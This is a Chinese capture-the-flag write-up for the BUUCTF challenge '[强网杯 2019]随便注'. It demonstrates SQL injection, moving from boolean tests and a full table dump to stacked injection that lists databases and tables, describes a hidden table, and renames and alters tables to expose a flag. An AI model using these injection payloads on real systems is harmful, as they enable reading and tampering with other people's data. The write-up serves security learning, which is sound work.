BUUCTF_[强网杯 2019]随便注

BUUCTF_[强网杯 2019]随便注

进入题目环境

BUUCTF_[强网杯 2019]随便注_第1张图片
进去之后输入框就有一个1,提交。
BUUCTF_[强网杯 2019]随便注_第2张图片
这里可以看到查询出了1hahahah

判断有没有注入点

输入1’,报错了。

输入1’ and 1=1 #,查询结果和1一样。
BUUCTF_[强网杯 2019]随便注_第3张图片
输入1’ and 1=2 #,无回显,因此,判断这里存在注入点。
BUUCTF_[强网杯 2019]随便注_第4张图片
输入1’ or 1=1#,得到了这个表里面的所有内容。
BUUCTF_[强网杯 2019]随便注_第5张图片

开始注入

可以看到上面查询结果有1hahahah,于是猜测查询的SQL语句是这样的。

select * fromwhere id = '1';
或者是
select id,content fromwhere id = '1';

于是用union注入试试看,构造1’ union select 1#,提示select这些字符被过滤了。
BUUCTF_[强网杯 2019]随便注_第6张图片
union查询用不了,这里尝试用一下堆叠注入,构造1’;show databases;#,发现成功了,得到数据库名,根据库名可以猜测,我们大概率用的是这个第一个数据库。
BUUCTF_[强网杯 2019]随便注_第7张图片
下一步,看看库里面有哪些表,构造1’;show tables;#,得到两个表名,1919810931114514words
BUUCTF_[强网杯 2019]随便注_第8张图片
下一步,根据表名,还是堆叠注入,看一下两个表的结构,构造1’;desc 1919810931114514;#
BUUCTF_[强网杯 2019]随便注_第9张图片
但这里没有得到这个表的结构,经过百度查询之后知道在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符,于是构造

1';desc `1919810931114514`;#

查到该表的结构,发现有一个叫做flag的列。
BUUCTF_[强网杯 2019]随便注_第10张图片
同理,得到words表的结构,这里面有iddata两个列,所以系统执行的查询语句应该是

select * from `words` where id = '1';
或者
select id,data from `words` where id = '1';

BUUCTF_[强网杯 2019]随便注_第11张图片
但是得到这些我们还是查询不到1919810931114514这个表里面的flag。想一想,这里既然存在堆叠注入,我是不是可以重命名一下这两个表呢,把1919810931114514改成wordswords随便改一个,再给1919810931114514增加一个id列,不就可以查询到flag了吗,如果没有查询到的话,再把1919810931114514这个表里面的flag列名改成data,这样就可以查询到falg了。于是构造这样的语句,进行上面的操作。

1';rename table `words` to `123`;rename table `1919810931114514` to `words`;alter table `words` add id int(10);#

然后查询1’ or 1=1#,成功得到flag。
BUUCTF_[强网杯 2019]随便注_第12张图片

你可能感兴趣的:(BUUCTF_[强网杯 2019]随便注)